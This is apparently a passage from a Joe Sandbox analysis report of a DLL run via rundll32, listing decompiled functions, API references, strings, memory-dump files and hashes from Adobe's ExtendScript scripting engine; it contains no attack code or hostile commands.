l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000009B), ref: 1003C1A8
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(setDefaultXMLNamespace), ref: 1003C1D1
l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000009B), ref: 1003C1F4
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(?,?,00000000), ref: 1003C243
l?0UnaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@@Z.MAIN(?,00000000), ref: 1003C274

Strings

setDefaultXMLNamespace, xrefs: 1003C1C5

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Node@Scan$Info@1@@$Info@1@$BinaryDataListNode@1@1@Node@1@@Pool@Unaryladd@
String ID: setDefaultXMLNamespace
API String ID: 2400306902-3966829243
Opcode ID: 228a17893f5845ad2af85da3168d0c6fdfb5162d8e93423f67d1611c63e49411
Instruction ID: 473fd9f73d66545a70e4125c327aa108b8b5ea4a4897b29e09dc873648cbb72e
Opcode Fuzzy Hash: 228a17893f5845ad2af85da3168d0c6fdfb5162d8e93423f67d1611c63e49411
Instruction Fuzzy Hash: 2851D2B1A003089FEB15DFA6D845B5EB7B4FB85711F10412EE909DB3C1DB75A900CB91

Uniqueness

Uniqueness Score: -1.00%

Function 10004EE0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 132COMMON

Download Yara Rule

APIs

lgetCurrent@Engine@ScScript@@SAPAV12@XZ.MAIN ref: 10004F2E

Strings

this.Window.version, xrefs: 10004F98
ScriptUI version , xrefs: 10004FD7
Created by:Michael Boldt, Michael Daumling, Mark Francis, Doug McBride,Bernd Paradies, Elizabeth Smith, Elba Sobrino, Patrick Wollek, xrefs: 10005016
About ExtendScript, xrefs: 10005024
this.Window, xrefs: 10004F4C
The ExtendScript scripting engineCopyright 1998-2012 Adobe Systems IncorporatedVersion 4.6.1Build version 78.509322Build date 2012/08/23-13:03:03 <AdobeIP#0000936>, xrefs: 10004F19

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Current@Engine@Script@@V12@lget
String ID: Created by:Michael Boldt, Michael Daumling, Mark Francis, Doug McBride,Bernd Paradies, Elizabeth Smith, Elba Sobrino, Patrick Wollek$ScriptUI version $About ExtendScript$The ExtendScript scripting engineCopyright 1998-2012 Adobe Systems IncorporatedVersion 4.6.1Build version 78.509322Build date 2012/08/23-13:03:03 <AdobeIP#0000936>$this.Window$this.Window.version
API String ID: 2727027711-2105866676
Opcode ID: a74ec47bc8d8cb45f9d54baf244c9686299c162c186df1191e9e40ff9f6cede2
Instruction ID: 735e95b9dc8e5ea5986fffd80823eecdbbe90bd2a442589e80334060070e5a18
Opcode Fuzzy Hash: a74ec47bc8d8cb45f9d54baf244c9686299c162c186df1191e9e40ff9f6cede2
Instruction Fuzzy Hash: 48515C7190015AEBEB04EBA8CD94FEEB7B5FF19300F104149E512A32D1DBB16A48CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1003ECD0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E1003ECD0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t14;
				intOrPtr* _t21;
				signed int _t23;

				_push(0xffffffff);
				_push(0x100656f8);
				_push( *[fs:0x0]);
				_push(_t14);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t23);
				 *[fs:0x0] =  &_v16;
				_t21 = _t14;
				_v20 = _t21;
				E10007260(_t14, "JavaScript");
				 *_t21 = 0x10070ce4;
				_v8 = 0;
				 *0x100941d4 = E10003DE0("Property");
				E10007F30(_t21, "Reflection");
				E100083E0(_t21, 0, 0x10070b80);
				 *[fs:0x0] = _v16;
				return _t21;
			}

0x1003ecd3
0x1003ecd5
0x1003ece0
0x1003ece1
0x1003ece3
0x1003ecea
0x1003ecee
0x1003ecf4
0x1003ecf6
0x1003ecfe
0x1003ed03
0x1003ed14
0x1003ed27
0x1003ed2c
0x1003ed3a
0x1003ed44
0x1003ed50

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,100656F8,000000FF,?,10032FE3), ref: 1003ECFE
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(Property,JavaScript,A412DE5E,00087144,00000000,00000000,100656F8,000000FF), ref: 1003ED1B
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Reflection,JavaScript,A412DE5E,00087144,00000000,00000000,100656F8,000000FF), ref: 1003ED2C

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070B80,JavaScript,A412DE5E,00087144,00000000,00000000,100656F8,000000FF), ref: 1003ED3A

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

Reflection, xrefs: 1003ED20
Property, xrefs: 1003ED0F
JavaScript, xrefs: 1003ECF9

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Dispatcher@$Class@String@$Core@@@PropProperties@laddlregister$Core@@DataEntry@2@Entry@2@@Pool@ladd@lget
String ID: JavaScript$Property$Reflection
API String ID: 3880753041-2163269971
Opcode ID: e7861691c430f5a5b1c633d8c12d129b6e40d857b6ca8122cae69c3021ae1223
Instruction ID: 7ca4a99e2498faec36e298e39dd6ae4a78a55e866f5e30edba2b2fc30f915e86
Opcode Fuzzy Hash: e7861691c430f5a5b1c633d8c12d129b6e40d857b6ca8122cae69c3021ae1223
Instruction Fuzzy Hash: 00F0C275A18168EBE714CF98CC41FAE77A9F705A50F00435BF51597380DBB92900C798

Uniqueness

Uniqueness Score: -1.00%

Function 1000B550 Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 385COMMON

Download Yara Rule

APIs

ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1000B654
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1000B844

Strings

oFol, xrefs: 1000B595
iCol, xrefs: 1000B5B1
Function, xrefs: 1000B67A, 1000B86F
ELED, xrefs: 1000B5A6

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@ladd@
String ID: ELED$Function$iCol$oFol
API String ID: 1005944317-3567674644
Opcode ID: e929f1b55af1abfcfb30d6926db720b7be53de08f3f3144052bd5031d81a69e9
Instruction ID: 96427f1a977a78d82733a6e2400f469ae36f531b9e3c52f0ef6bd7f4f9ce971d
Opcode Fuzzy Hash: e929f1b55af1abfcfb30d6926db720b7be53de08f3f3144052bd5031d81a69e9
Instruction Fuzzy Hash: 99F1AF34A00655DFEB04EFA5C998AADBBB6FF89340F104159E90697390DFB4AE44CF90

Uniqueness

Uniqueness Score: -1.00%

Function 10018320 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 285
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E10018320(signed int __ecx, void* __eflags) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v24;
				signed int _v28;
				char _v32;
				void* _v36;
				void* _v64;
				signed int _t106;
				void* _t128;
				intOrPtr _t143;
				void* _t150;
				signed int _t160;
				char _t170;
				intOrPtr* _t171;
				void* _t173;
				intOrPtr* _t179;
				intOrPtr* _t186;
				intOrPtr* _t187;
				intOrPtr _t236;
				intOrPtr _t238;
				intOrPtr* _t240;
				intOrPtr* _t241;
				signed int _t243;
				signed int _t245;
				void* _t246;
				intOrPtr _t247;
				void* _t248;
				void* _t249;

				_push(0xffffffff);
				_push(0x100600eb);
				_push( *[fs:0x0]);
				_t247 = _t246 - 0x30;
				_t106 =  *0x10094144; // 0xa412de5e
				_push(_t106 ^ _t245);
				 *[fs:0x0] =  &_v16;
				_v20 = _t247;
				_t243 = __ecx;
				_v28 = __ecx;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0x90))))();
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0x18))))();
				_t170 = 0;
				E10009070(__ecx, 0);
				E100090B0(__ecx, 0);
				 *((intOrPtr*)(__ecx + 0x18)) = 0;
				E10012CD0(__ecx);
				_t179 =  *((intOrPtr*)(__ecx + 0xd0));
				if(_t179 != 0) {
					_t8 = _t179 + 0x22;
					 *_t8 =  *((intOrPtr*)(_t179 + 0x22)) - 1;
					if( *_t8 == 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_t179 + 0x14))))();
					}
				}
				E1004D180(_t243 + 0x98);
				 *0x1006a3c8();
				E1004D180(_t243 + 0x94);
				 *0x1006a3c8();
				 *0x1006a494(E10018A90, _t170);
				 *0x1006a590();
				_t186 =  *((intOrPtr*)(_t243 + 0x78));
				if(_t186 != _t170) {
					 *((intOrPtr*)( *((intOrPtr*)( *_t186 + 0x64))))();
				}
				E1000B1E0(_t243);
				_t187 =  *((intOrPtr*)(_t243 + 0xe4));
				_t248 = _t247 + 4;
				if(_t187 != _t170) {
					 *((intOrPtr*)( *((intOrPtr*)( *_t187))))(1);
				}
				_push(_t243);
				 *((intOrPtr*)(_t243 + 0xe4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xd0)) = _t170;
				 *((intOrPtr*)(_t243 + 0xd4)) = _t170;
				 *((intOrPtr*)(_t243 + 0x9c)) = _t170;
				 *((intOrPtr*)(_t243 + 0xf8)) = _t170;
				 *((intOrPtr*)(_t243 + 0xdc)) = _t170;
				 *((intOrPtr*)(_t243 + 0xd8)) = _t170;
				 *((intOrPtr*)(_t243 + 0xf4)) = _t170;
				 *((intOrPtr*)(_t243 + 0x6c)) = _t170;
				 *((intOrPtr*)(_t243 + 0x50)) = _t170;
				 *((intOrPtr*)(_t243 + 0xb0)) = _t170;
				 *((intOrPtr*)(_t243 + 0xb4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xbc)) = _t170;
				 *((intOrPtr*)(_t243 + 0x100)) = _t170;
				 *((intOrPtr*)(_t243 + 0xc4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xc8)) = _t170;
				 *((short*)(_t243 + 0xcd)) = _t170;
				 *((char*)(_t243 + 0xcc)) = _t170;
				 *((char*)(_t243 + 0xcf)) = _t170;
				E1000C510();
				_t236 =  *((intOrPtr*)(_t243 + 0x74));
				_t249 = _t248 + 4;
				_v8 = _t170;
				if(_t236 == _t170) {
					_t236 =  *((intOrPtr*)(_t243 + 0x70));
				}
				 *((intOrPtr*)(_t243 + 0xd0)) =  *((intOrPtr*)( *((intOrPtr*)( *_t243 + 0xcc))))();
				if(_t236 == _t170) {
					_v32 = _t170;
				} else {
					_v32 = _t236 + 4;
				}
				 *0x1006a160();
				_v36 = _v32;
				 *0x1006a3d4();
				_v8 = 1;
				_t128 = E10006A60(_t236, _t170);
				_v8 = 0;
				 *0x1006a3d8();
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xd0)))) + 0x1c))))(_t128);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xd0)))) + 0x38))))(0xffffffff);
				 *0x1006a230();
				_v8 = 2;
				 *0x1006a220();
				_v8 = 3;
				 *0x1006a544( &_v24);
				 *((intOrPtr*)(_t243 + 0xd4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xf8)) = _t170;
				 *((intOrPtr*)(_t243 + 0xf4)) = _t170;
				 *((intOrPtr*)(_t243 + 0xd8)) = _t170;
				 *((intOrPtr*)(_t243 + 0xdc)) = _t170;
				E10014600(_t243,  *0x1006a3b4(0x20000090), 0x20000090);
				E10014600(_t243,  *0x1006a3b4(0x2000008d), 0x2000008d);
				_t238 = 0;
				_v32 = 0;
				while(_t238 <  *0x1006a16c()) {
					_t241 =  *((intOrPtr*)( *0x1006a178(_t238)));
					if(_t241 != _t170) {
						_t73 = _t241 + 4; // 0x4
						_t170 = _t73;
					}
					 *0x1006a160();
					_v36 = _t170;
					_t160 =  *0x1006a3d4();
					_v8 = 4;
					_t173 = 0;
					while(1) {
						E10006A50();
						if(_t173 >= _t160) {
							break;
						}
						_t160 = E10006A60(_t241, _t173);
						if(_t160 != 0x20000090 && _t160 != 0x2000008d) {
							_t160 = E10014600(_t243, _t241, _t160);
						}
						_t173 = _t173 + 1;
					}
					_v8 = 3;
					 *0x1006a3d8();
					_v32 = _v32 + 1;
					_t238 = _v32;
					_t170 = 0;
				}
				E1000C330( *((intOrPtr*)(_t243 + 0xd0)),  *((intOrPtr*)(_t243 + 0xf4)));
				_t143 =  *((intOrPtr*)(_t243 + 0x78));
				_t171 = _t243 + 0x78;
				if(_t143 != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xd0)))) + 0x30))))(_t143);
				}
				if( *_t171 == 0) {
					 *0x1006a248("global");
					_v8 = 5;
					 *0x1006a464(_t171,  &_v36, 0x10000);
					_t249 = _t249 + 0xc;
					_v8 = 3;
					 *0x1006a184();
					if( *_t171 == 0) {
						_t240 =  *0x1006a1d0(0x28);
						_t249 = _t249 + 4;
						_v36 = _t240;
						_v8 = 6;
						if(_t240 == 0) {
							_t240 = 0;
						} else {
							 *0x1006a598("global", 1);
							 *_t240 = 0x1006cca4;
							 *((intOrPtr*)(_t240 + 0x14)) = 0x1006cc94;
						}
						_v8 = 3;
						 *_t171 = _t240;
					}
				}
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xd0)))) + 0x30))))( *_t171);
				E10020BE0(_t243);
				E1000FA50( *((intOrPtr*)(_t243 + 0xf4)));
				_v8 = 2;
				 *0x1006a218( *_t171);
				_v8 = 0;
				_t150 =  *0x1006a1c8();
				 *[fs:0x0] = _v16;
				return _t150;
			}

0x10018323
0x10018325
0x10018330
0x10018331
0x10018337
0x1001833e
0x10018342
0x10018348
0x1001834b
0x1001834d
0x10018358
0x10018361
0x10018363
0x10018368
0x10018370
0x10018377
0x1001837a
0x1001837f
0x10018387
0x10018389
0x10018389
0x1001838c
0x10018393
0x10018393
0x1001838c
0x1001839b
0x100183a6
0x100183b2
0x100183bd
0x100183cc
0x100183d5
0x100183db
0x100183e0
0x100183e7
0x100183e7
0x100183ea
0x100183ef
0x100183f5
0x100183fa
0x10018402
0x10018402
0x10018404
0x10018405
0x1001840b
0x10018411
0x10018417
0x1001841d
0x10018423
0x10018429
0x1001842f
0x10018435
0x10018438
0x1001843b
0x10018441
0x10018447
0x1001844d
0x10018453
0x10018459
0x1001845f
0x10018466
0x1001846c
0x10018472
0x10018477
0x1001847a
0x1001847d
0x10018482
0x10018484
0x10018484
0x10018493
0x1001849b
0x100184a5
0x1001849d
0x100184a0
0x100184a0
0x100184ab
0x100184b4
0x100184b7
0x100184c0
0x100184c4
0x100184ce
0x100184d2
0x100184e4
0x100184f3
0x100184f8
0x10018501
0x10018505
0x10018515
0x10018519
0x1001852a
0x10018530
0x10018536
0x1001853c
0x10018542
0x10018556
0x10018574
0x10018579
0x1001857b
0x10018580
0x10018597
0x1001859b
0x1001859d
0x1001859d
0x1001859d
0x100185a3
0x100185ab
0x100185ae
0x100185b4
0x100185b8
0x100185c0
0x100185c2
0x100185c9
0x00000000
0x00000000
0x100185ce
0x100185d8
0x100185e5
0x100185e5
0x100185ea
0x100185ea
0x100185f0
0x100185f4
0x100185fa
0x100185fd
0x10018600
0x10018600
0x10018614
0x10018619
0x1001861c
0x10018621
0x1001862f
0x1001862f
0x10018634
0x1001863e
0x1001864e
0x10018652
0x10018658
0x1001865e
0x10018662
0x1001866b
0x10018675
0x10018677
0x1001867a
0x1001867d
0x10018683
0x100186a3
0x10018685
0x1001868e
0x10018694
0x1001869a
0x1001869a
0x100186a5
0x100186a9
0x100186a9
0x1001866b
0x100186b9
0x100186bf
0x100186cd
0x100186d5
0x100186d9
0x100186e2
0x100186e6
0x100186ef
0x100186fd

APIs

lsetDebugLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10018368
lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10018370
lgetClassID@Dispatcher@ScScript@@ABEHH@Z.MAIN(00000000), ref: 100184C4
lgetClassCount@Dispatcher@ScScript@@QBEHXZ.MAIN ref: 100185C2
lgetClassID@Dispatcher@ScScript@@ABEHH@Z.MAIN(00000000), ref: 100185CE

Strings

global, xrefs: 10018636, 10018687

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$ClassDispatcher@lget$Engine@Level@lset$Count@DebugProfiling
String ID: global
API String ID: 3010056328-3892677507
Opcode ID: 842739ee0c1b2fa7568a024df458b4686d3214e4df9cf0adc4a16c2ae4bda72a
Instruction ID: 1232579f6ef40464d7afb001ad4b37a41d6477ca5f7f6dfa785239884915fd8b
Opcode Fuzzy Hash: 842739ee0c1b2fa7568a024df458b4686d3214e4df9cf0adc4a16c2ae4bda72a
Instruction Fuzzy Hash: 5CC16970900A15CFE714EFA9C8D4BAEB7F6FF49300F10442EE55A97261CB74AA85CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10026BA0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 271COMMON

Download Yara Rule

APIs

Part of subcall function 10012ED0: lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN(00086E1C,?,1002736F,00000001), ref: 10012EF1
Part of subcall function 10012ED0: lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN(00086E1C,?,1002736F,00000001), ref: 10012F02

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10026C29

Strings

@invalid, xrefs: 10026E5D
@type, xrefs: 10026E26
value, xrefs: 10026DE9
error, xrefs: 10026D9F
true, xrefs: 10026E53

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$Callback@Callback@2@Engine@$Core@@DataPool@String@Symbol@
String ID: @invalid$@type$error$true$value
API String ID: 2303199305-3205893176
Opcode ID: 007c0e6d56058942005ccdda26388bfdc957b25e71313214c8cd9e17ec163731
Instruction ID: ec57d2c3983cd2aa8008a58e6f37a4b1d557fe2bbfbd7d906497175eee8fa07c
Opcode Fuzzy Hash: 007c0e6d56058942005ccdda26388bfdc957b25e71313214c8cd9e17ec163731
Instruction Fuzzy Hash: 9AB1C171A00249DFDB05EBA8CC94BEDBBB6FF5A310F144149D506A3290DBB46E45CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100080E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

APIs

ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(global), ref: 10008157
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1000818F
lgetTable@Dispatcher@ScScript@@ABEPBVTableEntry@2@H@Z.MAIN(00000000,00000000), ref: 1000819A
ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 100081FC
lgetTable@Dispatcher@ScScript@@ABEPBVTableEntry@2@H@Z.MAIN(?), ref: 100082D2

Strings

global, xrefs: 10008152

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$DataPool@ladd@$Dispatcher@Entry@2@TableTable@lget
String ID: global
API String ID: 1447371471-3892677507
Opcode ID: be2c5ff80d95d9212abf01137e9454171dcee181deaa4aa2bc24b9d3fcdebe8a
Instruction ID: 4ab204a5f54e90efbeebb822a2e99542cfc8afec5d6839b8bb7387592df781ec
Opcode Fuzzy Hash: be2c5ff80d95d9212abf01137e9454171dcee181deaa4aa2bc24b9d3fcdebe8a
Instruction Fuzzy Hash: CE919E35A00215DBFB14EF65C894BAE77B6FF86790F018119E886973A4DB70AF80CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1003C3E0 Relevance: 10.7, APIs: 7, Instructions: 220
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E1003C3E0(intOrPtr __ecx, signed int __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t57;
				intOrPtr _t61;
				char _t62;
				intOrPtr _t64;
				void* _t66;
				intOrPtr _t69;
				intOrPtr _t71;
				intOrPtr _t73;
				intOrPtr _t78;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr _t92;
				intOrPtr* _t95;
				void* _t96;
				intOrPtr _t99;
				intOrPtr _t102;
				intOrPtr _t123;
				signed int _t128;
				intOrPtr* _t135;
				intOrPtr _t136;
				intOrPtr _t140;
				signed int _t143;
				void* _t144;
				void* _t145;
				void* _t157;

				_t128 = __edx;
				_push(0xffffffff);
				_push(0x100652da);
				_push( *[fs:0x0]);
				_t145 = _t144 - 0x10;
				_t57 =  *0x10094144; // 0xa412de5e
				_push(_t57 ^ _t143);
				 *[fs:0x0] =  &_v16;
				_t140 = __ecx;
				_t95 =  *0x1006a1d0; // 0x87144
				_t4 = _t140 + 0x8c; // 0x8c
				_t135 = _t4;
				_v24 = 0;
				_v28 =  *((intOrPtr*)(__ecx + 0xac));
				if( *((intOrPtr*)(__ecx + 0x8c)) == 0x40000040) {
					_v8 = 0xffffffff;
					_v24 = _t92;
					E1003A9F0(_t140, 0);
				}
				_t61 =  *_t135;
				if(_t61 != 0x4000005b) {
					if( *((intOrPtr*)(_t140 + 0xa8)) == 2 || _t61 == 0xc || _t61 >= 0x31 && _t61 <= 0x6b) {
						_t62 =  *_t95(0x20);
						_v20 = _t62;
						_v8 = 2;
						if(_t62 == 0) {
							_t136 = 0;
						} else {
							_t136 = E10037280(_t135);
						}
						_t129 = _a4;
						_v8 = 0xffffffff;
						 *((intOrPtr*)(_t136 + 0x1c)) = _a4;
						E1003A9F0(_t140, 0);
						_t64 =  *((intOrPtr*)(_t140 + 0x8c));
						if(_t64 == 0x7a || _t64 == 0x7c) {
							_t102 =  *0x1009415c; // 0x0
							_t66 = E100049E0(_t102, _t129,  &_v20, _t64);
							_v8 = 3;
							E1003AC10(_t140, 7, _t66);
							_v8 = 0xffffffff;
							 *0x1006a184();
						}
						_t39 = _t140 + 0x8c; // 0x8c
						_t96 = _t39;
						if( *((intOrPtr*)(_t140 + 0x8c)) == 0x80003a3a) {
							 *((intOrPtr*)(_t136 + 0x1c)) = 2;
							_t71 =  *0x1006a1d0(0x28);
							_v32 = _t71;
							_v8 = 4;
							if(_t71 == 0) {
								_t136 = 0;
							} else {
								_t136 = E10037FD0(_t71, _t96, _t136, 0);
							}
							 *((intOrPtr*)(_t136 + 0x1c)) = _a4;
							_v8 = 0xffffffff;
							E1003A9F0(_t140, 0);
							_t73 = E1003C3E0(_t140, _t129, 2);
							 *((intOrPtr*)(_t136 + 0x24)) = _t73;
							if( *((intOrPtr*)(_t73 + 8)) == 0x40000040) {
								E1003AAC0(_t140, _t129, 8, 0);
							}
						}
					} else {
						E1003AAC0(_t140, _t128, 8, 0);
						_t78 =  *_t95(0x20);
						_a4 = _t78;
						_v8 = 5;
						if(_t78 == 0) {
							_t136 = 0;
						} else {
							_t136 = E10037280(_t135);
						}
					}
				} else {
					_t81 =  *_t95(0x28);
					_v20 = _t81;
					_v8 = 1;
					if(_t81 == 0) {
						_v20 = 0;
						_t82 = _v20;
					} else {
						_t82 = E10038140(_t135);
						_v20 = _t82;
					}
					_v8 = 0xffffffff;
					 *((intOrPtr*)(_t82 + 0x1c)) = 8;
					_t136 = _t82;
					E1003A9F0(_t140, 0);
					_t99 = E1003E550(_t140, _t128, _t157, 0, 0);
					E1003AC80(_t140, 0x4000005d, 0);
					_t86 =  *((intOrPtr*)(_t99 + 4));
					if( *((intOrPtr*)(_t99 + 4)) == 0) {
						 *0x1006a22c(_t99);
					} else {
						 *((intOrPtr*)(_t99 + 0x1c)) = _a4;
						_t123 =  *0x1009415c; // 0x0
						 *((intOrPtr*)(_t99 + 8)) = E10004140(_t123, _t86);
						_t136 = _t99;
						 *((intOrPtr*)( *((intOrPtr*)( *_v20))))(1);
					}
				}
				_t69 = _v24;
				if(_t69 == 0) {
					 *[fs:0x0] = _v16;
					return _t136;
				} else {
					 *((intOrPtr*)(_t69 + 0x20)) = _t136;
					 *((intOrPtr*)(_t69 + 0x18)) =  *((intOrPtr*)(_t136 + 0x18)) - _v28 +  *((intOrPtr*)(_t140 + 0xac));
					 *[fs:0x0] = _v16;
					return _t69;
				}
			}

0x1003c3e0
0x1003c3e3
0x1003c3e5
0x1003c3f0
0x1003c3f1
0x1003c3f7
0x1003c3fe
